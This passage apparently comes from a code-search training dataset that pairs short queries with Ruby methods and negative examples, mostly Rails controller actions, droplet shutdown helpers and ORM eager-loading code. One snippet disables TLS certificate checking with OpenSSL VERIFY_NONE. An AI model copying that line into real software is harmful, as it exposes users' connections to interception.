"def destroy\n @duck.destroy\n\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end",
"def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend",
"def destroy\n @json.destroy\n\n head :no_content\n end",
"def delete\n Client.delete(\"/kits/#{@id}\")\n end",
"def destroy\n @smallmagicinfo = Smallmagicinfo.find(params[:id])\n @smallmagicinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to smallmagicinfos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chapstick.destroy\n respond_to do |format|\n format.html { redirect_to chapsticks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_mixture.destroy\n respond_to do |format|\n format.html { redirect_to dish_mixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mosaic.destroy\n respond_to do |format|\n format.html { redirect_to mosaics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @magic_item.destroy\n respond_to do |format|\n format.html { redirect_to magic_items_url, notice: 'Magic item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'Álbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bilder = Bilder.find(params[:id])\n @bilder.destroy\n\n respond_to do |format|\n format.html { redirect_to bilders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @beattape = Beattape.find(params[:id])\n @beattape.destroy\n\n respond_to do |format|\n format.html { redirect_to beattapes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @deck = Deck.find(params[:id])\n @deck.destroy\n\n respond_to do |format|\n format.html { redirect_to decks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @magic.destroy\n respond_to do |format|\n format.html { redirect_to magics_url, notice: 'Magic was successfully destroyed.' }\n end\n end",
"def destroy\n @bits_1.destroy\n respond_to do |format|\n format.html { redirect_to bits_1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mosaic = Mosaic.find(params[:id])\n @mosaic.destroy\n\n respond_to do |format|\n format.html { redirect_to mosaics_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @beat.destroy\n respond_to do |format|\n format.html { redirect_to beats_url }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Waiting for droplet shutdown | def wait_shutdown(droplet_id, event_id)
case stop_by
when :power_status
wait_wrap(droplet_id, "Droplet Id: #{droplet_id} shutting down") { |id, time| get_shutdown_status(id, time) }
when :event_status
wait_event(event_id)
else
fail 'Please define :stopper method (:droplet_status, :event_status'
end
end | [
"def wait_for_shutdown\n @rufus.join\n end",
"def wait_for_shutdown\n until powered_off? do\n print \"Waiting for #{@vbox_name} to be finished shutdown...\\n\" if @verbose\n sleep 3\n end\n end",
"def wait_for_shutdown\n @subscriber_threads.each(&:join)\n end",
"def wait_until_server_stops\n @listener_thread.join\n end",
"def wait_until_shutdown!(&block)\n chars = %w{ | / - \\\\ }\n thread = Thread.new(&block)\n thread.abort_on_exception = true\n\n Vmit.logger.info 'Waiting for machine...'\n loop do\n print chars[0]\n\n if down?\n Thread.kill(thread)\n return\n end\n unless thread.alive?\n domain.destroy\n end\n sleep(1)\n print \"\\b\"\n chars.push chars.shift\n end\n end",
"def get_shutdown_status(id, time)\n fail \"Droplet #{id} not responding for shutdown!\" if droplet_timeout?(id, time)\n\n inactive?(id)\n end",
"def wait_until_stopped timeout: nil\n @server&.thread&.join timeout\n self\n end",
"def wait()\n go_to_termination(false)\n end",
"def shutdown\n thread_pool.shutdown\n wait\n end",
"def sleep_until_interrupted\n\t\t\ttrap(:INT) do\n\t\t\t\tself.request_shutdown\n\t\t\tend\n\n\t\t\t@shutdown_notification.wait\n\t\tend",
"def shutdown\n @shutdown = true\n exit if @sleeping\n end",
"def wait_for_mock_server_process\n sleep(0.1) if !@server_response_enum.empty?\n end",
"def wait_until_ready!\n Timeout.timeout(timeout) do\n loop do\n result = shell_out('boot2docker info')\n break if Array(result.valid_exit_codes).include?(result.exitstatus)\n Chef::Log.debug(\"boot2docker daemon is not running - #{result.stdout}\\n#{result.stderr}\")\n sleep(0.5)\n end\n end\n rescue Timeout::Error\n raise boot2dockerNotReady.new(timeout), 'boot2docker timeout exceeded'\n end",
"def wait_container\n @container.wait\n callback @after_stop\n end",
"def shutdown_when_done?\n !!runopts(:shutdown_when_done)\n end",
"def wait_for_termination\n Timeout::timeout(30) do\n sleep 0.2 while running?\n end\n end",
"def wait_until_unhealthy!\n agent = consul.get(\"/agent/self\")[\"Member\"][\"Name\"]\n consul.get_while(\"/health/node/#{agent}\") do |data|\n status = data.detect {|x| x[\"CheckID\"] == \"service:#{name}\" }[\"Status\"]\n status == 'passing'\n end\n end",
"def halt\n begin\n \n # how can i check something like cygcheck -l shutdown|grep shutdown.exe ??\n # I'd like to show a message like: You do not have a proper shutdown for cygwin installed, please install shutdown.\n # Don't use windows shutdown, wasn't cutting it for me. We need cyg-get shutdown!! Don't have cyg-get, install it with cinst cyg-get\n su_cmd = vm.config.cygwin.suexec_cmd\n su_cmd += \" \" if ! su_cmd.empty? \n @logger.info(\"Cygwin shutdown -s -f now\")\n vm.communicate.execute(\"#{su_cmd}shutdown -s -f now\")\n rescue IOError\n # Ignore, this probably means connection closed because it\n # shut down.\n end\n end",
"def wait_for_completion\n until terminated? do\n Kernel.sleep(Gosen::DeploymentRun::POLLING_TIME)\n @deployment_resource.reload\n end\n raise Gosen::Error.new(\"Deployment error: #{@deployment_resource['output']}\") if @deployment_resource['status'] == 'error'\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Looking for droplet status. Before snapshot we need to know that machine is powered off. | def get_shutdown_status(id, time)
fail "Droplet #{id} not responding for shutdown!" if droplet_timeout?(id, time)
inactive?(id)
end | [
"def powered_off?\n OpenNebula.log(%&Running #{VBOX_SHOWVMINFO} #{@vmname} | grep State | grep \"powered off\"&)\n `#{VBOX_SHOWVMINFO} #{@vmname} | grep State | grep \"powered off\"`\n $?.exitstatus == 0\n end",
"def powered_off?\n cmd = \"VBoxManage showvminfo \\\"#{@vbox_name}\\\" | grep \\\"State:\\\"\"\n print cmd if @verbose\n out = `#{cmd}`\n print out if @verbose\n if out.include?('powered off') || out.include?('aborted')\n return true\n end\n end",
"def power_off\n OpenNebula.log(\"Running: #{VBOX_SHOWVMINFO} #{@vmname} | grep State\")\n state = `#{VBOX_SHOWVMINFO} #{@vmname} | grep State`\n\n return 0 if state.include?(\"powered off\")\n\n if state.include?(\"saved\")\n return OpenNebula.exec_and_log(\"#{VBOX_DISCARDSTATE} #{@vmname}\")\n end\n\n OpenNebula.exec_and_log(\"#{VBOX_CONTROLVM} #{@vmname} poweroff\")\n end",
"def monitor_system\n if @is_fire || @is_power_outage || @is_mechanical_failure\n \n @status = \"offline\"\n for column in @column_list do\n column.status = \"offline\"\n for elevator in column.elevator_list do\n elevator.status = \"offline\"\n end\n end\n puts \"Battery #{@id} has been shut down for maintenance. Sorry for the inconvenience\"\n exit()\n end\n end",
"def system_check\n Deadpool::StateSnapshot.new @state\n end",
"def wait_until_unhealthy!\n agent = consul.get(\"/agent/self\")[\"Member\"][\"Name\"]\n consul.get_while(\"/health/node/#{agent}\") do |data|\n status = data.detect {|x| x[\"CheckID\"] == \"service:#{name}\" }[\"Status\"]\n status == 'passing'\n end\n end",
"def check_health!\n cmd = \"/usr/local/sbin/grab_smartctl.sh #{device_path} H\"\n output = shell_out(cmd).stdout\n @smart_healthy = !output.scan(/PASSED/).empty?\n @health_output = output\n end",
"def active?\n case self.provider\n when \"digital_ocean\"\n DigitalOcean.droplet.show(self.uid).droplet.status == \"active\"\n end\n end",
"def device_malware_states\n return @device_malware_states\n end",
"def snapshot_status\n @snapshot_status\n end",
"def power_status(host_ip, username, passwd)\n command_failed, power_output = run_ipmi_command(host_ip, username, passwd, 'power', 'status')\n if command_failed\n return [false, \"unknown\"]\n end\n power_output = power_output.split(\"\\n\")\n power_status = /.*(on|off)$/.match(power_output[0])[1]\n [true, power_status]\n end",
"def drb_status!\n Vedeu.bind(:_drb_status_) { Vedeu::Distributed::Server.status }\n end",
"def power_off?\n self.power_status == \"DOWN\"\n end",
"def system_unavailable?\n RunState.unavailable?\n end",
"def power_state\n @client.get('VM', :power_state, @uuid)\n end",
"def check_for_unresponsive\n local_running.each do |h|\n # see McoHost.is_unresponsive? - it checks number of failed updates and time it has\n # been missing.\n if h.is_unresponsive?\n h.mark_failed \"host stopped responding.\"\n # Give up to 10 seconds after start before taking notice of the\n # not_found state, ot that the agent process is not running.\n elsif h.run_time > 0 and Time.now.to_i - h.run_time > 10\n if h.state == :not_found\n h.mark_failed \"run #{@runid} not found on agent.\" \n # the agent lets us know if the PID which started a run is actually running.\n # if the run is incomplete and the monitor is not running, it probably failed.\n elsif !h.is_active?\n h.mark_failed \"agent process responsible for monitoring the puppet run stopped.\"\n end\n end\n end\n end",
"def check_system_availability\n system_unavailable if system_unavailable? && run_state_redirect?\n end",
"def unavailable_status\n @status = :UNAVAILABLE\n end",
"def probe_running\n if @host.available?\n status = service(:status, 'mysql').downcase\n # mysql is running if the output of \"service mysql status\" doesn't include any of these strings\n not_running_strings = ['not running', 'stop/waiting']\n @running = not_running_strings.none? {|str| status.include? str}\n else\n @running = false\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PUT /brokers/1 PUT /brokers/1.xml | def update
respond_to do |format|
if @broker.update_attributes(params[:broker])
flash[:notice] = 'Broker was successfully updated.'
format.html { redirect_to habitat_broker_url(@habitat, @broker) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @broker.errors.to_xml }
end
end
end | [
"def update\n @broker = Broker.find(params[:id])\n\n respond_to do |format|\n if @broker.update_attributes(params[:broker])\n flash[:notice] = 'Broker was successfully updated.'\n format.html { redirect_to(@broker) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @broker.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @broker.update(broker_params)\n format.html { redirect_to @broker, notice: 'Broker was successfully updated.' }\n format.json { render :show, status: :ok, location: @broker }\n else\n format.html { render :edit }\n format.json { render json: @broker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @broker.update_attributes(params[:broker])\n format.html { redirect_to @broker, notice: 'Broker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @broker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @broker.update(broker_params)\n format.html { redirect_to admin_broker_path(@broker), notice: 'Broker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @broker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @broker_configuration = BrokerConfiguration.find(params[:id])\n\n respond_to do |format|\n if @broker_configuration.update_attributes(params[:broker_configuration])\n flash[:success] = \"Broker configuration was successfully updated.\"\n format.html { redirect_to @broker_configuration }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @broker_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @broker = Broker.find(params[:id])\n @broker.destroy\n\n respond_to do |format|\n format.html { redirect_to(brokers_url) }\n format.xml { head :ok }\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def brokers\n {\n saxo: 'Saxo'\n }\n end",
"def update\n @greenhouse = Greenhouse.find(params[:greenhouse_id])\n respond_to do |format|\n if @custom_broker.update(custom_broker_params)\n format.html { redirect_to greenhouse_custom_brokers_path(@greenhouse.id), notice: 'Custom broker was successfully updated.' }\n #format.json { render :show, status: :ok, location: @custom_broker }\n else\n format.html { render :edit }\n #format.json { render json: @custom_broker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @broker = Broker.new(params[:broker])\n\n respond_to do |format|\n if @broker.save\n flash[:notice] = 'Broker was successfully created.'\n format.html { redirect_to(@broker) }\n format.xml { render :xml => @broker, :status => :created, :location => @broker }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @broker.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n p = broker_account_params\n p.delete :provision_request_id\n p.delete :password\n\n respond_to do |format|\n if @broker_account.update(p)\n flash_message 'success', 'Broker account was successfully updated.'\n\n format.html { redirect_to @broker_account }\n format.json { render :show, status: :ok, location: @broker_account }\n else\n format.html { render :edit }\n format.json { render json: @broker_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @brokerage.update(brokerage_params)\n format.html { redirect_to @brokerage, notice: 'Brokerage was successfully updated.' }\n format.json { render :show, status: :ok, location: @brokerage }\n else\n format.html { render :edit }\n format.json { render json: @brokerage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"def index\n @brokers = Broker.all\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def update\n @insurance_broker = InsuranceBroker.find(params[:id])\n\n respond_to do |format|\n if @insurance_broker.update_attributes(params[:insurance_broker])\n format.html { redirect_to @insurance_broker, notice: 'Insurance broker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @insurance_broker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(*args)\n RubyKong::Request::Consumer.update args[0]\n end",
"def update\n respond_to do |format|\n if @consumer.update(consumer_params)\n format.json { head :no_content }\n else\n format.json { render json: @consumer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @consumer = Consumer.find(params[:id])\n\n respond_to do |format|\n if @consumer.update_attributes(params[:consumer])\n format.html { redirect_to(@consumer, :notice => 'Consumer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @consumer.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Specify an association to be eagerloaded. You may optionally pass a block that accepts a scope which you may modify to customize the query. For maximum memory savings, always `select` only the colums you actually need. | def eager_load(assoc, scope = nil, use: nil, &eval_block)
ref = model.reflections[assoc.to_s]
raise "OccamsRecord: No assocation `:#{assoc}` on `#{model.name}`" if ref.nil?
@eager_loaders << EagerLoaders.fetch!(ref).new(ref, scope, use, &eval_block)
self
end | [
"def eager_load(options)\n @eager_load = options\n end",
"def eager_loading_dataset(eo=OPTS)\n ds = eo[:dataset] || associated_eager_dataset\n if id_map = eo[:id_map]\n ds = ds.where(eager_loading_predicate_condition(id_map.keys))\n end\n if associations = eo[:associations]\n ds = ds.eager(associations)\n end\n if block = eo[:eager_block]\n ds = block.call(ds)\n end\n if eager_loading_use_associated_key?\n ds = ds.select_append(*associated_key_array)\n end\n if self[:eager_graph]\n raise(Error, \"cannot eagerly load a #{self[:type]} association that uses :eager_graph\") if eager_loading_use_associated_key?\n ds = ds.eager_graph(self[:eager_graph])\n end\n ds\n end",
"def eager_load_results(eo, &block)\n rows = eo[:rows]\n initialize_association_cache(rows) unless eo[:initialize_rows] == false\n if eo[:id_map]\n ids = eo[:id_map].keys\n return ids if ids.empty?\n end\n strategy = eager_limit_strategy\n cascade = eo[:associations]\n eager_limit = nil\n\n if eo[:eager_block] || eo[:loader] == false\n ds = eager_loading_dataset(eo)\n\n strategy = ds.opts[:eager_limit_strategy] || strategy\n\n eager_limit =\n if el = ds.opts[:eager_limit]\n raise Error, \"The :eager_limit dataset option is not supported for associations returning a single record\" unless returns_array?\n strategy ||= true_eager_graph_limit_strategy\n if el.is_a?(Array)\n el\n else\n [el, nil]\n end\n else\n limit_and_offset\n end\n\n strategy = true_eager_graph_limit_strategy if strategy == :union\n # Correlated subqueries are not supported for regular eager loading\n strategy = :ruby if strategy == :correlated_subquery\n strategy = nil if strategy == :ruby && assign_singular?\n objects = apply_eager_limit_strategy(ds, strategy, eager_limit).all\n elsif strategy == :union\n objects = []\n ds = associated_dataset\n loader = union_eager_loader\n joiner = \" UNION ALL \"\n ids.each_slice(subqueries_per_union).each do |slice|\n objects.concat(ds.with_sql(slice.map{|k| loader.sql(*k)}.join(joiner)).to_a)\n end\n ds = ds.eager(cascade) if cascade\n ds.send(:post_load, objects)\n else\n loader = placeholder_eager_loader\n loader = loader.with_dataset{|dataset| dataset.eager(cascade)} if cascade\n objects = loader.all(ids)\n end\n\n objects.each(&block)\n if strategy == :ruby\n apply_ruby_eager_limit_strategy(rows, eager_limit || limit_and_offset)\n end\n end",
"def eager_graph_with_options(associations, opts=OPTS)\n associations = [associations] unless associations.is_a?(Array)\n if eg = @opts[:eager_graph]\n eg = eg.dup\n [:requirements, :reflections, :reciprocals, :limits].each{|k| eg[k] = eg[k].dup}\n eg[:local] = opts\n ds = clone(:eager_graph=>eg)\n ds.eager_graph_associations(ds, model, ds.opts[:eager_graph][:master], [], *associations)\n else\n # Each of the following have a symbol key for the table alias, with the following values: \n # :reciprocals :: the reciprocal value to use for this association\n # :reflections :: AssociationReflection instance related to this association\n # :requirements :: array of requirements for this association\n # :limits :: Any limit/offset array slicing that need to be handled in ruby land after loading\n opts = {:requirements=>{}, :master=>alias_symbol(first_source), :reflections=>{}, :reciprocals=>{}, :limits=>{}, :local=>opts, :cartesian_product_number=>0, :row_proc=>row_proc}\n ds = clone(:eager_graph=>opts)\n ds.eager_graph_associations(ds, model, ds.opts[:eager_graph][:master], [], *associations).naked\n end\n end",
"def eager_load; end",
"def eager_graph_association(ds, model, ta, requirements, r, *associations)\n if r.is_a?(SQL::AliasedExpression)\n alias_base = r.alias\n r = r.expression\n else\n alias_base = r[:graph_alias_base]\n end\n assoc_table_alias = ds.unused_table_alias(alias_base)\n loader = r[:eager_grapher]\n if !associations.empty?\n if associations.first.respond_to?(:call)\n callback = associations.first\n associations = {}\n elsif associations.length == 1 && (assocs = associations.first).is_a?(Hash) && assocs.length == 1 && (pr_assoc = assocs.to_a.first) && pr_assoc.first.respond_to?(:call)\n callback, assoc = pr_assoc\n associations = assoc.is_a?(Array) ? assoc : [assoc]\n end\n end\n local_opts = ds.opts[:eager_graph][:local]\n limit_strategy = r.eager_graph_limit_strategy(local_opts[:limit_strategy])\n\n if r[:conditions] && !Sequel.condition_specifier?(r[:conditions]) && !r[:orig_opts].has_key?(:graph_conditions) && !r[:orig_opts].has_key?(:graph_only_conditions) && !r.has_key?(:graph_block)\n Sequel::Deprecation.deprecate(\"Ignoring :conditions for #{r[:model]} #{r[:name]} association during eager_graph/association_join, consider specifying :graph_block\") unless r[:ignore_conditions_warning]\n end\n\n ds = loader.call(:self=>ds, :table_alias=>assoc_table_alias, :implicit_qualifier=>(ta == ds.opts[:eager_graph][:master]) ? first_source : qualifier_from_alias_symbol(ta, first_source), :callback=>callback, :join_type=>local_opts[:join_type], :join_only=>local_opts[:join_only], :limit_strategy=>limit_strategy, :from_self_alias=>ds.opts[:eager_graph][:master])\n if r[:order_eager_graph] && (order = r.fetch(:graph_order, r[:order]))\n ds = ds.order_append(*qualified_expression(order, assoc_table_alias))\n end\n eager_graph = ds.opts[:eager_graph]\n eager_graph[:requirements][assoc_table_alias] = requirements.dup\n eager_graph[:reflections][assoc_table_alias] = r\n if limit_strategy == :ruby\n eager_graph[:limits][assoc_table_alias] = r.limit_and_offset \n end\n eager_graph[:cartesian_product_number] += r[:cartesian_product_number] || 2\n ds = ds.eager_graph_associations(ds, r.associated_class, assoc_table_alias, requirements + [assoc_table_alias], *associations) unless associations.empty?\n ds\n end",
"def eager_graph(*associations)\n model = check_model\n table_name = model.table_name\n ds = if @opts[:eager_graph]\n self\n else\n # Each of the following have a symbol key for the table alias, with the following values: \n # :reciprocals - the reciprocal instance variable to use for this association\n # :requirements - array of requirements for this association\n # :alias_association_type_map - the type of association for this association\n # :alias_association_name_map - the name of the association for this association\n clone(:eager_graph=>{:requirements=>{}, :master=>model.table_name, :alias_association_type_map=>{}, :alias_association_name_map=>{}, :reciprocals=>{}})\n end\n ds.eager_graph_associations(ds, model, table_name, [], *associations)\n end",
"def eager_load!\n super\n ActiveFedora::Scoping.eager_load!\n ActiveFedora::Aggregation.eager_load!\n ActiveFedora::Associations.eager_load!\n ActiveFedora::Attributes.eager_load!\n ActiveFedora::AttributeMethods.eager_load!\n ActiveFedora::Indexers.eager_load!\n ActiveFedora::Indexing.eager_load!\n ActiveFedora::Orders.eager_load!\n end",
"def prefetch_associations(includes, records); end",
"def associated_eager_dataset\n cached_fetch(:associated_eager_dataset) do\n ds = associated_dataset.unlimited\n if block = self[:eager_block]\n ds = block.call(ds)\n end\n ds\n end\n end",
"def with_eager_loading(document)\n selecting do\n return nil unless document\n doc = Factory.from_db(klass, document, criteria.object_id)\n eager_load([ doc ]) if eager_loadable?\n doc\n end\n end",
"def prepare_eager_load(a, reflections, eager_assoc)\n res = super\n \n reflections.each do |r|\n res[r[:eager_loader]][:association] = r[:name]\n end\n\n res\n end",
"def use_eager_loading_sql?(options)# :nodoc:\n include_associations = merge_includes(scope(:find, :include), options[:include])\n return ((include_associations.any?) &&\n (options[:force_eager_load].is_a?(TrueClass) ||\n references_eager_loaded_tables?(options)))\n end",
"def with_eager_loading(document)\n selecting do\n return nil unless document\n doc = Factory.from_db(klass, document, criteria.object_id)\n eager_load_one(doc) if eager_loadable?(doc)\n doc\n end\n end",
"def eager_graph_dataset(opts, eager_options)\n ds = opts.associated_class.dataset\n if cb = eager_options[:callback]\n ds = cb.call(ds)\n end\n ds\n end",
"def add_eager_selected_column_sql!(sql, options, scope, join_dependency)#:nodoc:\n if options[:override_select]\n sql << options[:override_select]\n elsif respond_to? :construct_eload_select_sql\n sql << construct_eload_select_sql((scope && scope[:select]) || options[:select], join_dependency)\n else\n sql << column_aliases(join_dependency)\n end\n end",
"def eager_graph_association(ds, model, ta, requirements, r, *associations)\n klass = r.associated_class\n assoc_name = r[:name]\n assoc_table_alias = ds.eager_unique_table_alias(ds, assoc_name)\n join_type = r[:graph_join_type]\n conditions = r[:graph_conditions]\n ds = case assoc_type = r[:type]\n when :many_to_one\n ds.graph(klass, [[klass.primary_key, :\"#{ta}__#{r[:key]}\"]] + conditions, :table_alias=>assoc_table_alias, :join_type=>join_type)\n when :one_to_many\n ds = ds.graph(klass, [[r[:key], :\"#{ta}__#{model.primary_key}\"]] + conditions, :table_alias=>assoc_table_alias, :join_type=>join_type)\n # We only load reciprocals for one_to_many associations, as other reciprocals don't make sense\n ds.opts[:eager_graph][:reciprocals][assoc_table_alias] = r.reciprocal\n ds\n when :many_to_many\n ds = ds.graph(r[:join_table], [[r[:left_key], :\"#{ta}__#{model.primary_key}\"]] + r[:graph_join_table_conditions], :select=>false, :table_alias=>ds.eager_unique_table_alias(ds, r[:join_table]), :join_type=>join_type)\n ds.graph(klass, [[klass.primary_key, r[:right_key]]] + conditions, :table_alias=>assoc_table_alias, :join_type=>join_type)\n end\n eager_graph = ds.opts[:eager_graph]\n eager_graph[:requirements][assoc_table_alias] = requirements.dup\n eager_graph[:alias_association_name_map][assoc_table_alias] = assoc_name\n eager_graph[:alias_association_type_map][assoc_table_alias] = assoc_type\n ds = ds.eager_graph_associations(ds, klass, assoc_table_alias, requirements + [assoc_table_alias], *associations) unless associations.empty?\n ds\n end",
"def includes(*associations)\n # Normalize association list to strict nested hash.\n normalize = ->(list) {\n if list.is_a? Array\n list.map(&normalize).reduce(:merge)\n elsif list.is_a? Symbol\n { list => {} }\n elsif list.is_a? Hash\n hash = {}\n list.each do |key, value|\n hash[key] = normalize.(value)\n end\n hash\n end\n }\n associations = normalize.(associations)\n\n current_scope = @scope.includes(associations)\n\n add_conditions = ->(associations, scope) {\n associations.each do |association, nested|\n reflection = scope.reflect_on_association(association)\n if reflection && !reflection.options[:polymorphic]\n associated_klass = reflection.klass\n\n if associated_klass.respond_to? :restrict\n nested_scope = associated_klass.restrictions(@context).request_scope(:fetch)\n\n where_values = nested_scope.where_values\n if where_values.any?\n current_scope = current_scope.where(*where_values)\n end\n\n add_conditions.(nested, associated_klass)\n end\n end\n end\n }\n\n unless Heimdallr.skip_eager_condition_injection\n add_conditions.(associations, current_scope)\n end\n\n options = @options.merge(eager_loaded:\n @options[:eager_loaded].merge(associations))\n\n Proxy::Collection.new(@context, current_scope, options)\n end",
"def fetch_association(name, includes=nil)\n association = fetch_property(name)\n\n if includes.present? && ! @resource.association(name).loaded?\n association.includes(includes)\n else\n association\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /forms/new GET /forms/new.xml | def new
@form = Form.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @form }
end
end | [
"def new\n @form = Form.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @form }\n end\n end",
"def new\n @forms_list = FormsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @forms_list }\n end\n end",
"def new\n @formulario = Formulario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @formulario }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @formapagto = Formapagto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @formapagto }\n end\n end",
"def new\n @form_entry = FormEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @form_entry }\n end\n end",
"def new\n @forms_menutree = FormsMenutree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @forms_menutree }\n end\n end",
"def new\n @formacao = Formacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @formacao }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def new\n @contact_form = ContactForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact_form }\n end\n end",
"def new\n @regform = Regform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regform }\n end\n end",
"def new\n @newstuff = Newstuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newstuff }\n end\n end",
"def new\n @prac = Prac.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prac }\n end\n end",
"def new\n @contactos = Contactos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contactos }\n end\n end",
"def new\n @information_form = InformationForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @information_form }\n end\n end",
"def new\n @qform = Qform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @qform }\n end\n end",
"def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end",
"def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @context }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /forms/1 DELETE /forms/1.xml | def destroy
@form = Form.find(params[:id])
@form.destroy
respond_to do |format|
format.html { redirect_to(forms_url) }
format.xml { head :ok }
end
end | [
"def delete_form(id)\n @client.raw('delete', \"/content/forms/#{id}\")\n end",
